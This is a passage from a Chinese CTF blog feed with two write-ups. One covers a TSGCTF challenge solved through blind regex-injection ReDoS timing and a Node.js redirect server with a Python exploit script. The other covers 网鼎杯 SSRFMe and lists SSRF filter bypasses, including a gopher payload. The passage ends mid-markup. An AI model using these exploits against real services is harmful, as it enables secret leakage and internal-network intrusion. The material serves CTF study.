href="https://diary.shift-js.info/blind-regular-expression-injection/" target="_blank" rel="noopener">https://diary.shift-js.info/blind-regular-expression-injection/</a></p><p>比如以下正则</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">^(?={some regexp here})((((.*)*)*)*)*salt</span><br></pre></td></tr></table></figure><ul><li><code>salt</code>是一个有一定长度的字符串,比如随便填一个<code>saltfwefwefewfwfekorewp</code></li><li><code>((((.*)*)*)*)*salt</code>这部分通过嵌套重复运算符导致回溯次数暴增,造成ReDos,比如</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">regex = <span class="string">"((((.*)*)*)*)*saltfwefwefewfwfekorewp"</span>;</span><br><span class="line"><span class="keyword">const</span> re = <span class="keyword">new</span> <span class="built_in">RegExp</span>(regex);</span><br><span class="line"><span class="string">'abcdefghijklmnopq'</span>.match(re); <span class="comment">//会卡在这</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'finish'</span>)</span><br></pre></td></tr></table></figure><p>详细的理论可以参见<a href="https://zhuanlan.zhihu.com/p/46294360" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/46294360</a>,虽然我没看懂…</p><ul><li><code>^(?={some regexp here})</code> 正向肯定预查<ul><li>如果目标字符串无法匹配<code>some regexp here</code>的话就直接返回匹配失败,这样就不会运行后面的<code>((((.*)*)*)*)*salt</code>,也就不会有延时</li><li>匹配<code>some regexp here</code>的话就会reDos</li></ul></li></ul><p>通过改变<code>some regexp here</code>,根据延时的不同就可以判断出note的内容</p><p>比如我随便输了一个内容为<code>aaaTSGCTF{Abdfefe</code>的note,访问以下url<br><a href="http://35.221.81.216:18364/?^(?=^aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp" target="_blank" rel="noopener">http://35.221.81.216:18364/?^(?=^aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp</a></p><p><img src="/images/TSGCTF_note_2.JPG" alt=""></p><ul><li>firefox会卡在这个页面大概8秒左右(我瞎数的)才显示出搜索栏和note的文本框,调试可以发现是firefox在一定时间后强行跳过了正则匹配那行</li><li>chrome会卡更久时间,直到提示说该页面无响应</li></ul><h3 id="OOB"><a href="#OOB" class="headerlink" title="OOB"></a>OOB</h3><p>那么把这样的url发给管理员后,怎样才知道它延时了多久呢</p><p>可以注意到有一个根据<code>location.document.hash</code>加载背景图片的功能</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">headerImg: <span class="built_in">document</span>.location.hash.substring(<span class="number">1</span>) || <span class="string">''</span>,</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">v-if</span>=<span class="string">"headerImg"</span> <span class="attr">class</span>=<span class="string">"hero"</span>></span> <span class="tag"><<span class="name">img</span> <span class="attr">:src</span>=<span class="string">"headerImg"</span> /></span> <span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>看起来可以通过加载我们服务器上的图片来看延时了多久,然而加载图片是发生在正则匹配之前的…</p><p>解决方法是通过加载图片时的延时和302跳转,方法和代码来自<a href="https://ctftime.org/writeup/22284" target="_blank" rel="noopener">https://ctftime.org/writeup/22284</a></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">'http'</span>);</span><br><span class="line"><span class="keyword">const</span> { performance } = <span class="built_in">require</span>(<span class="string">'perf_hooks'</span>);</span><br><span class="line"><span class="keyword">const</span> { URL } = <span class="built_in">require</span>(<span class="string">'url'</span>);</span><br><span class="line"><span class="keyword">const</span> server = http.createServer(<span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> res.writeHead(<span class="number">302</span>, {</span><br><span class="line"> <span class="string">'Location'</span>: <span class="string">'http://ourserver.example.com:8001/?r='</span> + <span class="built_in">encodeURIComponent</span>(req.headers.referer) + <span class="string">'&s='</span> + <span class="built_in">encodeURIComponent</span>(performance.now())</span><br><span class="line"> });</span><br><span class="line"> res.end();</span><br><span class="line"> }, <span class="number">2000</span>);</span><br><span class="line">});</span><br><span class="line">server.listen(<span class="number">8000</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> server2 = http.createServer(<span class="function"><span class="keyword">function</span> (<span class="params">req, res</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> url = <span class="keyword">new</span> URL(req.url, <span class="string">'http://ourserver.example.com:8001'</span>);</span><br><span class="line"> <span class="built_in">console</span>.log(url.searchParams.get(<span class="string">'r'</span>));</span><br><span class="line"> <span class="built_in">console</span>.log(performance.now() - <span class="built_in">parseInt</span>(url.searchParams.get(<span class="string">'s'</span>)));</span><br><span class="line"> res.writeHead(<span class="number">200</span>, {<span class="string">'Content-Type'</span>: <span class="string">'text/plain'</span>});</span><br><span class="line"> res.end(<span class="string">'ok\n'</span>);</span><br><span class="line">});</span><br><span class="line">server2.listen(<span class="number">8001</span>);</span><br></pre></td></tr></table></figure><p>访问<br><a href="http://35.221.81.216:18364/?^(?=aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000" target="_blank" rel="noopener">http://35.221.81.216:18364/?^(?=aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000</a>,这时浏览器会做下面的操作:</p><ul><li>新开一个线程去加载图片,该线程经过了我们服务器两秒的延时后才拿到302跳转的返回,向主线程发出自己工作完成的信号</li><li>在这个期间主线程继续往下执行其他的代码<ul><li>如果note内容不匹配<code>some regexp here</code>的话主线程就会继续往下干活,及时处理加载图片线程的信号,在较短的时间内请求8001端口</li><li>如果note的内容匹配<code>some regexp here</code>的话,主线程会卡死在正则匹配这里。不请求8001端口或者晚请求8001端口</li></ul></li></ul><p>上面的过程都是我瞎猜的…</p><p>不断改变<code>some regexp here</code>,通过请求8000端口和请求8001端口的时间差就可以判断flag的内容了</p><p>试验一下可以发现虽然worker.js里写的是firefox,但是Report URL在ReDos成功后根本不会有第二次请求…反倒是和chrome表现一致…</p><p>瞎捣鼓了一个很慢的exp:</p><ul><li>server.js</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">'http'</span>);</span><br><span class="line"><span class="keyword">const</span> { performance } = <span class="built_in">require</span>(<span class="string">'perf_hooks'</span>);</span><br><span class="line"><span class="keyword">const</span> { URL } = <span class="built_in">require</span>(<span class="string">'url'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> flag = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> server = http.createServer(<span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">"Get it"</span>);</span><br><span class="line"> setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> res.writeHead(<span class="number">302</span>, {</span><br><span class="line"> <span class="string">'Location'</span>: <span class="string">'http://ourserver.example.com:8001/?r='</span> + <span class="built_in">encodeURIComponent</span>(req.headers.referer) + <span class="string">'&s='</span> + <span class="built_in">encodeURIComponent</span>(performance.now())</span><br><span class="line"> });</span><br><span class="line"> res.end();</span><br><span class="line"> }, <span class="number">2000</span>);</span><br><span class="line"> flag = <span class="literal">true</span>;</span><br><span class="line">});</span><br><span class="line">server.listen(<span class="number">8000</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> server2 = http.createServer(<span class="function"><span class="keyword">function</span> (<span class="params">req, res</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> url = <span class="keyword">new</span> URL(req.url, <span class="string">'http://ourserver.example.com:8001'</span>);</span><br><span class="line"> <span class="built_in">console</span>.log(url.searchParams.get(<span class="string">'r'</span>));</span><br><span class="line"> <span class="built_in">console</span>.log(performance.now() - <span class="built_in">parseInt</span>(url.searchParams.get(<span class="string">'s'</span>)));</span><br><span class="line"> res.writeHead(<span class="number">200</span>, {<span class="string">'Content-Type'</span>: <span class="string">'text/plain'</span>});</span><br><span class="line"> res.end(<span class="string">'ok\n'</span>);</span><br><span class="line"> flag = <span class="literal">false</span>; </span><br><span class="line">});</span><br><span class="line">server2.listen(<span class="number">8001</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> server3 = http.createServer(<span class="function"><span class="keyword">function</span> (<span class="params">req,res</span>)</span>{</span><br><span class="line"> res.writeHead(<span class="number">200</span>, {<span class="string">'Content-Type'</span>: <span class="string">'text/plain'</span>});</span><br><span class="line"> <span class="keyword">if</span>(flag){</span><br><span class="line"> res.end(<span class="string">'Yes'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> res.end(<span class="string">'No'</span>);</span><br><span class="line"> }</span><br><span class="line">});</span><br><span class="line">server3.listen(<span class="number">8002</span>);</span><br></pre></td></tr></table></figure><ul><li>exp.py</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line"></span><br><span class="line">session = requests.session()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">send_payload</span><span class="params">(regex)</span>:</span></span><br><span class="line"> burp0_url = <span class="string">"http://35.221.81.216:18364/query"</span></span><br><span class="line"> burp0_cookies = {<span class="string">"rack.session"</span>: <span class="string">"BAh7B0kiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkVlNzI5ZmYxYzNlMGRiYWUxMmU5ZjVlZTdkNTEwNDMwMGY0YzcxNjUzMzM5MmVjNmMzMmJkN2Q5ZTZiZDRlODdmBjsARkkiCXVzZXIGOwBGSSIlYTY2ODZlMTlmNWQ0ZTU0ZGFiNDE5OGMzY2IxN2ZjZDkGOwBG--0895dbb03d0c8d085c5ee28a5d3a50262048d172"</span>}</span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>,</span><br><span class="line"> <span class="string">"Accept-Encoding"</span>: <span class="string">"gzip, deflate"</span>, <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>, <span class="string">"Origin"</span>: <span class="string">"http://35.221.81.216:18364"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Referer"</span>: <span class="string">"http://35.221.81.216:18364/report.html"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> burp0_data = {</span><br><span class="line"> <span class="string">"url"</span>: <span class="string">"http://35.221.81.216:18364/?^(?={})((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000"</span>.format(regex)}</span><br><span class="line"> session.post(burp0_url, headers=burp0_headers,</span><br><span class="line"> cookies=burp0_cookies, data=burp0_data)</span><br><span class="line"> time.sleep(<span class="number">6</span>) <span class="comment">#延时5秒都不行...</span></span><br><span class="line"> <span class="keyword">return</span> query_result()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">query_result</span><span class="params">()</span>:</span></span><br><span class="line"> url = <span class="string">"http://ourserver.example.com:8002"</span></span><br><span class="line"> response = requests.get(url=url).text</span><br><span class="line"> <span class="keyword">if</span> response == <span class="string">'Yes'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="string">''' 判断flag长度</span></span><br><span class="line"><span class="string">lower_bound = 1</span></span><br><span class="line"><span class="string">upper_bound = 40</span></span><br><span class="line"><span class="string">while lower_bound != upper_bound:</span></span><br><span class="line"><span class="string"> m = math.ceil((lower_bound + upper_bound) / 2)</span></span><br><span class="line"><span class="string"> if send_payload(".{{{}}}".format(m)):</span></span><br><span class="line"><span class="string"> lower_bound = m</span></span><br><span class="line"><span class="string"> else:</span></span><br><span class="line"><span class="string"> upper_bound = m-1</span></span><br><span class="line"><span class="string"> print("[*] {}, {}".format(lower_bound, upper_bound))</span></span><br><span class="line"><span class="string">secret_length = lower_bound # = upper_bound</span></span><br><span class="line"><span class="string">print("[+] length: {}".format(secret_length))</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line">secret_length = <span class="number">24</span> <span class="comment">#已经得到flag长度为24位</span></span><br><span class="line">S = <span class="string">"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}"</span></span><br><span class="line">secret = <span class="string">""</span></span><br><span class="line"><span class="comment"># 已知flag前7位是TSGCTF{</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>, secret_length):</span><br><span class="line"> lower_bound = <span class="number">0</span></span><br><span class="line"> upper_bound = len(S)<span class="number">-1</span></span><br><span class="line"> <span class="keyword">while</span> lower_bound != upper_bound:</span><br><span class="line"> m = (lower_bound + upper_bound) // <span class="number">2</span></span><br><span class="line"> s = S[lower_bound:(m+<span class="number">1</span>)]</span><br><span class="line"> <span class="keyword">if</span> send_payload(<span class="string">".{"</span> + str(i) + <span class="string">"}["</span> + <span class="string">''</span>.join(list(map(re.escape, s))) + <span class="string">']'</span>):</span><br><span class="line"> upper_bound = m</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> lower_bound = m+<span class="number">1</span></span><br><span class="line"> print(<span class="string">"[*] {}, {}"</span>.format(S[lower_bound], S[upper_bound]))</span><br><span class="line"> secret += S[lower_bound]</span><br><span class="line"> print(<span class="string">"[*] {}"</span>.format(secret)) </span><br><span class="line">print(<span class="string">"[+] secret: {}"</span>.format(secret))</span><br></pre></td></tr></table></figure><h3 id="References-1"><a href="#References-1" class="headerlink" title="References"></a>References</h3><ul><li><a href="https://ctftime.org/writeup/22284" target="_blank" rel="noopener">https://ctftime.org/writeup/22284</a></li><li><a href="https://gist.github.com/po6ix/f3c013d974c6003a8dbc573c887602ae" target="_blank" rel="noopener">https://gist.github.com/po6ix/f3c013d974c6003a8dbc573c887602ae</a></li><li><a href="https://diary.shift-js.info/blind-regular-expression-injection/#fn:salt" target="_blank" rel="noopener">https://diary.shift-js.info/blind-regular-expression-injection/#fn:salt</a></li><li><a href="https://zhuanlan.zhihu.com/p/46294360" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/46294360</a></li></ul>]]></content>
<summary type="html">
<p>又双叒叕爆零…学到了一个新词:beginner…惨惨</p>
<h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="Beginner’s-Web"><a href="#B
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>[网鼎杯 2020 玄武组]SSRFMe</title>
<link href="https://liotree.github.io/2020/07/10/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E7%8E%84%E6%AD%A6%E7%BB%84-SSRFMe/"/>
<id>https://liotree.github.io/2020/07/10/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E7%8E%84%E6%AD%A6%E7%BB%84-SSRFMe/</id>
<published>2020-07-10T13:28:48.000Z</published>
<updated>2020-07-29T09:23:04.000Z</updated>
<content type="html"><![CDATA[<p>好像很久都没写过web的wp了…趁着应付完考试来水一篇</p><h1 id="ssrf"><a href="#ssrf" class="headerlink" title="ssrf"></a>ssrf</h1><h2 id="ssrf防御机制"><a href="#ssrf防御机制" class="headerlink" title="ssrf防御机制"></a>ssrf防御机制</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_inner_ip</span><span class="params">($url)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $match_result=preg_match(<span class="string">'/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/'</span>,$url);</span><br><span class="line"> <span class="keyword">if</span> (!$match_result)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'url fomat error'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> $url_parse=parse_url($url);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span>(<span class="keyword">Exception</span> $e)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'url fomat error'</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> $hostname=$url_parse[<span class="string">'host'</span>];</span><br><span class="line"> $ip=gethostbyname($hostname);</span><br><span class="line"> $int_ip=ip2long($ip);</span><br><span class="line"> <span class="keyword">return</span> ip2long(<span class="string">'127.0.0.0'</span>)>><span class="number">24</span> == $int_ip>><span class="number">24</span> || ip2long(<span class="string">'10.0.0.0'</span>)>><span class="number">24</span> == $int_ip>><span class="number">24</span> || ip2long(<span class="string">'172.16.0.0'</span>)>><span class="number">20</span> == $int_ip>><span class="number">20</span> || ip2long(<span class="string">'192.168.0.0'</span>)>><span class="number">16</span> == $int_ip>><span class="number">16</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">safe_request_url</span><span class="params">($url)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (check_inner_ip($url))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> $url.<span class="string">' is inner ip'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> $ch = curl_init();</span><br><span class="line"> curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line"> curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line"> curl_setopt($ch, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line"> $output = curl_exec($ch);</span><br><span class="line"> $result_info = curl_getinfo($ch);</span><br><span class="line"> <span class="keyword">if</span> ($result_info[<span class="string">'redirect_url'</span>])</span><br><span class="line"> {</span><br><span class="line"> safe_request_url($result_info[<span class="string">'redirect_url'</span>]);</span><br><span class="line"> }</span><br><span class="line"> curl_close($ch);</span><br><span class="line"> var_dump($output);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'url'</span>])){</span><br><span class="line"> $url = $_GET[<span class="string">'url'</span>];</span><br><span class="line"> <span class="keyword">if</span>(!<span class="keyword">empty</span>($url)){</span><br><span class="line"> safe_request_url($url);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"> highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">}</span><br><span class="line"><span class="comment">// Please visit hint.php locally.</span></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>存在一个curl的ssrf,但是存在<code>check_inner_ip</code>的限制</p><p><code>check_inner_ip</code>做了几件事:</p><ul><li>限制协议只能为http,https,gopher,dict</li><li>使用<code>parse_url</code>获取host</li><li>使用<code>gethostbyname</code>获取ip地址<ul><li>防御了xip.io这类利用dns解析的绕过方法</li></ul></li><li>使用<code>ip2long</code>将ip地址转为整数,判断是否为内网网段<ul><li>防御了<code>127.0.0.1/8</code></li></ul></li></ul><p>另外在发送请求后还对重定向的情况做了处理</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($result_info[<span class="string">'redirect_url'</span>])</span><br><span class="line">{</span><br><span class="line"> safe_request_url($result_info[<span class="string">'redirect_url'</span>]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这样基于跳转的方法也无法使用了</p><h2 id="一些绕过的方法"><a href="#一些绕过的方法" class="headerlink" title="一些绕过的方法"></a>一些绕过的方法</h2><p>虽然dns解析和重定向都无法使用了,但是ssrf的绕过方法依然有很多,逐一尝试下其他方法</p><ul><li><p><code>http://0.0.0.0/hint.php</code></p><ul><li>测试了下这个方法只能在linux下使用,windows并不认识这个ip…</li></ul></li><li><p><code>http://[email protected]:[email protected]/hint.php</code></p><ul><li>orange的<a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf" target="_blank" rel="noopener">A New Era of SSRF -Exploiting URL Parser in Trending Programming Languages!</a>中提到的方法,利用的是curl和其他库解析url的差异性<br><img src="/images/ssrf_curl.JPG" alt=""></li><li>不过这个方法在curl较新的版本里被修掉了,buu上的环境也无法使用</li></ul></li><li><p>DNS Rebinding</p><ul><li>感觉这是最难防御的ssrf绕过方法了,不过对环境也有一定的限制,懒狗还没测试…</li></ul></li><li><p><code>http://127。0。0。1/hint.php</code></p><ul><li>这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧</li></ul></li><li><p><code>http://127.1/hint.php</code></p><ul><li><code>ip2long('127.1')</code>会返回<code>false</code>,这里可以绕过过滤</li><li>但是<code>gethostbyname</code>在linux下会把<code>127.1</code>变为<code>127.0.0.1</code>,所以这题是无法使用的。不过windows下经过<code>gethostbyname</code>后依然是<code>127.1</code></li><li>curl是支持<code>127.1</code>这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了<code>127.1</code>,apache会返回一个400 Bad Request<br><img src="/images/127.1.JPG" alt=""></li><li>既然是http包的问题,那么用gopher协议构造一个正常的http请求即可。不过这因为<code>gethostbyname</code>的原因,这个方法这里用不了</li></ul></li><li><p>ip进制绕过</p><ul><li>本来以为<code>ip2long</code>是可以防御这种方法的,后来才发现根本不行…和127.1一样会返回<code>false</code></li><li>和127.1类似,也是存在不能用http的问题,但是<code>gethostbyname</code>并不会有影响,所以这题是可以使用的,比如:</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a</span><br></pre></td></tr></table></figure></li><li><p><code>http://127.0.0.1./hint.php</code></p><ul><li>curl不支持这种写法,猝…</li></ul></li><li><p>ipv6</p><ul><li>支持ipv6的话可以使用,buu上是不行的</li></ul></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://[::1]/ >>> http://127.0.0.1/</span><br><span class="line">http://[::]/ >>> http://0.0.0.0/</span><br></pre></td></tr></table></figure><ul><li><code>http:///127.0.0.1/hint.php</code><ul><li>这个trick也非常有意思,之前一直以为只有浏览器才会解析这样host为空的畸形url,结果翻p牛小密圈旧帖的时候发现Li4n0师傅提到curl和git也会按照浏览器的方式解析,测试以下发现直接用curl会卡在那,但是php的libcurl就可以…</li><li>用<code>parse_url</code>解析这样的畸形url会返回<code>false</code>,然后<code>$hostname=$url_parse['host'];</code>会返回<code>null</code>(神奇的php)。</li><li>接着又是一个windows和linux下php的差异,windows下<code>gethostbyname(null);</code>会返回本机ip,导致后面无法绕过ip检测。然而linux下并没有这样的特性,<code>gethostbyname</code>会返回<code>null</code>,绕过ip检测</li></ul></li></ul><p>感觉写的有点乱…总结一下buu上环境能用的有:</p><ul><li><p><code>http://0.0.0.0/hint.php</code></p></li><li><p>gopher+进制转换</p></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 